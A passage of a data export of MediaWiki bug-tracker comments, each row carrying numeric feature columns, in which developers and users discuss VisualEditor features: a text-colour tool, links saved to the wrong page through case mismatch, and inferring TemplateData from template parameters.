Thanks :-)",,,1400881060,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,46,,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,3.0,2.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,17.0,2.0,2.0,8.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,8.0,2.0,7.0,0.0,2.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,3.033333333333333,0.7,"(Copied from
URL

Hi there :-)
Just wondering, why there is no feature for ""coloring Text"". In know, there is a way, to use 'span', but im looking for a feature, with a WYSIWYG-Editor. Any advices, ideas?

Thanks :-)"
246400,VisualEditor: Tool to set/unset text color,"(In reply to comment #5)
> I think this will be difficult to implement well. I see two concerns:
> 
> * extraneous (noöp) <span>s being left behind in the wikimarkup; and

This is the same as bug 37835 and is trivial for us to trim out.

> * <span>s that specify the color black (bad for accessibility, etc.).

Yes, though we already give people loads of tools that they can (and frequently do) abuse. Technology should serve the community and we should make tools that let them do their job, rather than dictate that they can't do something (or, in this case, that they can but it's hard).

> There may be some generic ""clear formatting"" button/apparatus to be used to
> mitigate the second point, but I'm still wary.

There's already a ""clear formatting"" button provided - it would apply its magic to this too.",,,1383008984,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,17,,0.0,1.0,0.0,0.0,1.0,2.5,1.0,0.0,0.5,0.0,2.5,1.0,0.0,0.0,1.0,1.5,1.0,4.5,8.0,1.0,1.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,4.0,0.0,2.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,0.5,0.0,0.5,0.5,1.0,1.0,11.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.5,1.0,0.0,2.0,1.0,6.5,2.0,3.0,4.0,0.0,0.0,0.0,0.5,6.0,0.5,1.0,0.0,8.0,8.0,0.5,0.0,1.5,0.0,8.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,0.0,3.4793715846994537,0.7605191256830601,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

This is the same as bug 37835 and is trivial for us to trim out.

QUOTE

Yes, though we already give people loads of tools that they can (and frequently do) abuse. Technology should serve the community and we should make tools that let them do their job, rather than dictate that they can't do something (or, in this case, that they can but it's hard).

QUOTE
QUOTE

There's already a ""clear formatting"" button provided - it would apply its magic to this too."
246393,VisualEditor: Tool to set/unset text color,"I think this will be difficult to implement well. I see two concerns:

* extraneous (noöp) <span>s being left behind in the wikimarkup; and
* <span>s that specify the color black (bad for accessibility, etc.).

There may be some generic ""clear formatting"" button/apparatus to be used to mitigate the second point, but I'm still wary.",,,1383008076,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,17,,1.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,1.0,4.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,5.0,5.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,6.0,7.0,0.0,2.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.4814814814814814,0.7407407407407407,"I think this will be difficult to implement well. I see two concerns:

* extraneous (noöp) <span>s being left behind in the wikimarkup; and
* <span>s that specify the color black (bad for accessibility, etc.).

There may be some generic ""clear formatting"" button/apparatus to be used to mitigate the second point, but I'm still wary."
246388,VisualEditor: Tool to set/unset text color,"(In reply to comment #2)
> Any pros/cons of handling this by wrapping colored text in span with
> appropriate value of style tag?

Yeah, that's what we'll want to do.

We'll want to supply a generic <span> editor (which lets you edit the style=""…"" tag as raw CSS) at some point, but we'd want to do something about colour sooner (and nicer), I think.",,,1376123060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,5,,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,11.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,1.0,11.0,0.0,3.0,0.0,7.0,11.0,7.0,0.0,3.0,0.0,7.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,1.0,2.9315068493150687,0.7397260273972602,"(In reply to comment #2)
QUOTE
QUOTE

Yeah, that's what we'll want to do.

We'll want to supply a generic <span> editor (which lets you edit the style=""…"" tag as raw CSS) at some point, but we'd want to do something about colour sooner (and nicer), I think."
246384,VisualEditor: Tool to set/unset text color,*** Bug 51409 has been marked as a duplicate of this bug. ***,,,1376120681,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51409 has been marked as a duplicate of this bug. ***
246379,VisualEditor: Tool to set/unset text color,Any pros/cons of handling this by wrapping colored text in span with appropriate value of style tag?,,,1376115461,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,False,,,5,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.2,0.95,Any pros/cons of handling this by wrapping colored text in span with appropriate value of style tag?
246371,VisualEditor: Tool to set/unset text color,"Do we want to do this as a general colour-picker widget, possibly?",,,1376115172,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-iwu723btthb7y2jwtq7u,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4375,1.0,"Do we want to do this as a general colour-picker widget, possibly?"
54634,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"**Author:** `sandrobt.wiki`

**Description:**
Here is how to reproduce it, when trying to add a link to the page ""Maria"" on en.wiki.

1) Select the add link icon and type ""maria""
2) Select ""Maria"", which is at the end of the suggested list
3) Press Enter or the ""<"" button
4) Save

The link is added to Mariah Carey (which was on the top of the suggested list).
Cf. https://en.wikipedia.org/w/index.php?title=User:Sandrobt/prova&diff=prev&oldid=567641122

Note that this doesn't happen if in 2) you had typed ""Maria"" (which is the exact title of the page you want to link to).
Cf. https://en.wikipedia.org/w/index.php?title=User:Sandrobt/prova&diff=next&oldid=567641169

The same problem appears in similar situations in it.wiki (for example when adding a link to ""Sega"" you need to type it exactly like that, since the first option is always SEGA) 

I'm using Firefox 22.0 on Mac OS X 10.6.8.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1375943460,1402552412.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ga36aloq6psrxy7t2mlx,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,9.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,0.6666666666666666,2.0,1.0,0.3333333333333333,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.3333333333333333,7.666666666666667,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,5.0,2.0,11.666666666666666,2.3333333333333335,0.6666666666666666,7.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,1.6666666666666667,0.0,2.3333333333333335,9.0,8.0,0.0,4.333333333333333,0.0,2.3333333333333335,0.0,2.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,1.3333333333333333,3.1559696342305035,0.6847481021394065,"**Author:** CODE

**Description:**
Here is how to reproduce it, when trying to add a link to the page ""Maria"" on en.wiki.

1) Select the add link icon and type ""maria""
2) Select ""Maria"", which is at the end of the suggested list
3) Press Enter or the ""<"" button
4) Save

The link is added to Mariah Carey (which was on the top of the suggested list).
Cf. URL

Note that this doesn't happen if in 2) you had typed ""Maria"" (which is the exact title of the page you want to link to).
Cf. URL

The same problem appears in similar situations in it.wiki (for example when adding a link to ""Sega"" you need to type it exactly like that, since the first option is always SEGA) 

I'm using Firefox 22.0 on Mac OS X 10.6.8.

--------------------------
**Version**: unspecified
**Severity**: normal"
245761,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,In fixing bug 50452 we have changed the behaviour slightly regarding this - not sure if it's still necessary to keep this open?,,,1378766470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.2,0.96,In fixing bug 50452 we have changed the behaviour slightly regarding this - not sure if it's still necessary to keep this open?
245755,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"This happens in every case where:
* the input text case INsensitively matches an entry >= 2nd in the list, AND
* the input text case sensitively does NOT match the title of any in the list, AND
* the user selects the case insensitive match

It doesn't matter whether the text was entered in the link dialog or selected on the editing surface.",,,1378424550,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,False,,,9,,3.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,15.0,1.0,8.0,3.0,4.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.824324324324324,0.6351351351351351,"This happens in every case where:
* the input text case INsensitively matches an entry >= 2nd in the list, AND
* the input text case sensitively does NOT match the title of any in the list, AND
* the user selects the case insensitive match

It doesn't matter whether the text was entered in the link dialog or selected on the editing surface."
245748,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"**sandrobt.wiki** wrote:

Ok, note taken. Though, a bug that inserts the wrong link in a pretty large variety of situation, despite selecting the correct one and without giving any clue of having done so, is a pretty seriuos problem and has probably alredy produced quite a lot of wrong wikilinks.",,,1375945790,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,3.0,2.0,3.0,13.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,5.0,0.0,0.0,0.0,4.016129032258065,0.7419354838709677,"**sandrobt.wiki** wrote:

Ok, note taken. Though, a bug that inserts the wrong link in a pretty large variety of situation, despite selecting the correct one and without giving any clue of having done so, is a pretty seriuos problem and has probably alredy produced quite a lot of wrong wikilinks."
245742,VisualEditor: Links can point to wrong page if not matching case exactly and when not first option in the list,"[resetting severity, see http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity ]",,,1375945480,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ga36aloq6psrxy7t2mlx,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,3.7142857142857144,1.0,"[resetting severity, see URL ]"
54581,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"if the template does not contain explicit ""templatedata"", the API call should return auto-generated ""templatedata"" structure, distilled from the template itself.


it's trivial to do - basically parse the template, extract parameter names (including order based, aka 1,2,3), and return ""default"" templatedata where every param is of type string, without any special attributes (default, required, etc.)

this 15-line enhancement will make VE suddenly useful for templates, without detracting anything from current functionality.

we did this in hewiki with ""template param wizard"" (the equivalent of VE template editor, for the old wikitext editor), and it enhanced the wizard's functionality tenfold.

regretfully i can't submit a patch - hopefully someone else will be able to do so.

peace.

--------------------------

**See Also**:
{T54135} / https://bugzilla.wikimedia.org/show_bug.cgi?id=52135",Low,25.0,1375804800,1526505693.0,PHID-USER-akv4ingxkspiiam6r2n4,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_description,duplicate,True,c1,3,False,False,False,5,,1.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.5,6.5,7.0,1.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,1.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,16.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,4.5,1.0,4.0,1.0,1.0,6.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,2.5,7.0,3.5,0.0,4.0,0.0,2.5,0.0,0.5,0.5,0.5,1.0,0.0,0.0,1.0,4.216562173458725,0.7315830721003135,"if the template does not contain explicit ""templatedata"", the API call should return auto-generated ""templatedata"" structure, distilled from the template itself.


it's trivial to do - basically parse the template, extract parameter names (including order based, aka 1,2,3), and return ""default"" templatedata where every param is of type string, without any special attributes (default, required, etc.)

this 15-line enhancement will make VE suddenly useful for templates, without detracting anything from current functionality.

we did this in hewiki with ""template param wizard"" (the equivalent of VE template editor, for the old wikitext editor), and it enhanced the wizard's functionality tenfold.

regretfully i can't submit a patch - hopefully someone else will be able to do so.

peace.

--------------------------

**See Also**:
{T54135} / URL"
787926,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Change 257684 abandoned by Eranroz:
Guess parameters when templatedata is missing

[[https://gerrit.wikimedia.org/r/257684]]",,,1483655816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,16.0,4.631578947368421,0.8947368421052632,"Change 257684 abandoned by Eranroz:
Guess parameters when templatedata is missing

[[GERRIT_URL]]"
575115,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"Change 257684 had a related patch set uploaded (by Eranroz):
Guess parameters when templatedata is missing

[[https://gerrit.wikimedia.org/r/257684]]
",,,1449605074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,127,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,15.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,12.0,4.1923076923076925,0.8846153846153846,"Change 257684 had a related patch set uploaded (by Eranroz):
Guess parameters when templatedata is missing

[[GERRIT_URL]]
"
457689,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,">>! In T54581#1271501, @Krinkle wrote:
> .... Possibly with a warning outputted alongside the object. Similar to how MediaWiki's query api communicates things like ""warnings"", ""normalized"", and ""badrevids"".

maybe so, but maybe it should not be ""warning"". 
a new field can be added to the record returned by the API, e.g. ""synthetic"" or somesuch, to indicate tempaltedata was generated synthetically, and the template itself does not contain ""templatedata"" tag.

peace.

",,,1431449493,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,6.0,5.0,5.0,0.0,5.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,10.0,0.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.806451612903226,0.6774193548387096,"QUOTE
QUOTE

maybe so, but maybe it should not be ""warning"". 
a new field can be added to the record returned by the API, e.g. ""synthetic"" or somesuch, to indicate tempaltedata was generated synthetically, and the template itself does not contain ""templatedata"" tag.

peace.

"
455850,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"The TemplateData editor now supports scanning the template source code and inferring a list of parameter names to bootstrap the documentation editor.

We can use the same logic server-side to provide a basic TemplateData object for templates lacking it. Possibly with a warning outputted alongside the object. Similar to how MediaWiki's query api communicates things like ""warnings"", ""normalized"", and ""badrevids"".",,,1431058046,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,True,,,96,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,9.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,8.0,0.0,3.0,0.0,1.0,4.0,0.0,4.0,0.0,0.0,0.0,4.684210526315789,0.7368421052631579,"The TemplateData editor now supports scanning the template source code and inferring a list of parameter names to bootstrap the documentation editor.

We can use the same logic server-side to provide a basic TemplateData object for templates lacking it. Possibly with a warning outputted alongside the object. Similar to how MediaWiki's query api communicates things like ""warnings"", ""normalized"", and ""badrevids""."
242486,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"for many many simple templates, just getting the list of parameter names is enough for even moderately experienced editors. 
the editor may even be well familiar with the template, but she does not necessarily remembers the exact name (case sensitive) of every parameters.


regarding your 2nd use case: are you aware that this tool (prepopulate templatedata editor) is already written and working?

written by wmf volunteer (intern? gsoc student? not sure), [[mw:. User:Mooeypoo]], and works on hewiki for quite some time. 
this tool already includes ""import parameters from template"" button - last time i checked, it was working quite well. 

see [[mw:MediaWiki:Gadget-templatedata-core.js]], function ""importtemplateparams()""

if your comment meant to describe it rather than suggesting to build it, i apologize for the confusion.

bottom line: having templatedata is good, but when it does not exist, just seeing the list of parameters (including unpopulated) is hugely perferrable to not seeing them.

peace.",,,1400794505,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,False,,,46,,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,6.666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,6.666666666666667,6.666666666666667,0.0,1.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,2.3333333333333335,1.6666666666666667,1.6666666666666667,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,12.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,2.6666666666666665,1.3333333333333333,1.3333333333333333,1.3333333333333333,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.333333333333333,6.666666666666667,2.0,1.0,1.6666666666666667,0.0,4.333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,0.0,0.0,2.0,4.079812206572769,0.7417840375586855,"for many many simple templates, just getting the list of parameter names is enough for even moderately experienced editors. 
the editor may even be well familiar with the template, but she does not necessarily remembers the exact name (case sensitive) of every parameters.


regarding your 2nd use case: are you aware that this tool (prepopulate templatedata editor) is already written and working?

written by wmf volunteer (intern? gsoc student? not sure), [[mw:. User:Mooeypoo]], and works on hewiki for quite some time. 
this tool already includes ""import parameters from template"" button - last time i checked, it was working quite well. 

see [[mw:MediaWiki:Gadget-templatedata-core.js]], function ""importtemplateparams()""

if your comment meant to describe it rather than suggesting to build it, i apologize for the confusion.

bottom line: having templatedata is good, but when it does not exist, just seeing the list of parameters (including unpopulated) is hugely perferrable to not seeing them.

peace."
242477,TemplateData: Implement inferred templatedata as fallback based on the contents of the template,"So this ""guess template data"" parser would be useful in two cases:

* Consumers of TemplateData (e.g. VisualEditor)

They could pass a parameter to the API of TemplateData to trigger this parser as fallback. The generated data would presumably be flagged in some way to allow consumers to identify them as such.

* TemplateDate editor

A button to prefill the template data (e.g. use the default data as a start and edit from there). This should not be misused to populate <templatedata> tags on a bunch of pages, this is only useful if users provide data beyond what is inferred (the inferred data is unlikely to ever be satisfactory as at best it can provide which parameters exist and maybe which are optional).",,,1400616454,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-x7gbeomejfcfsu7jr2ib,task_subcomment,,True,c1,3,True,,,46,,0.5,0.0,0.0,2.0,0.5,4.5,3.5,0.0,0.0,0.5,4.5,0.0,0.0,0.5,0.0,0.0,0.0,7.0,12.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,15.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,5.5,5.0,5.5,0.5,1.5,9.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,1.5,12.0,2.5,0.0,1.0,0.0,1.5,0.0,2.0,2.5,0.5,0.0,0.0,0.5,1.5,4.166666666666666,0.7344483568075117,"So this ""guess template data"" parser would be useful in two cases:

* Consumers of TemplateData (e.g. VisualEditor)

They could pass a parameter to the API of TemplateData to trigger this parser as fallback. The generated data would presumably be flagged in some way to allow consumers to identify them as such.

